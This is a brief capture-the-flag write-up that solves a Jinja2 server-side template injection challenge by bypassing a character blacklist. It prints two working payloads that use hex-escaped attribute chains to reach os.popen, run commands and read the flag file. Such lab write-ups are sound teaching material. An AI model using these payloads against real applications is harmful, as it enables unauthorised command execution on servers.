FooBar CTF Lotion

[PeGrina]

I am trying to make my own version of notion named lotion , Can you do security check for my app? http://chall.nitdgplug.org:30014/
Writeup:
We see the SSTI Jinja2 vulnerability, but with a blacklist. We cannot use ". []". Searching in Google we find this code:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')|attr('read')()}}
And it is working! Checking the dir and see the directory secret-note with file flag inside. Get the flag with note:
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('cat secret-note/flag')|attr('read')()}}
Flag: GLUG{INJECTED_PR3TTY_G00D_HUH}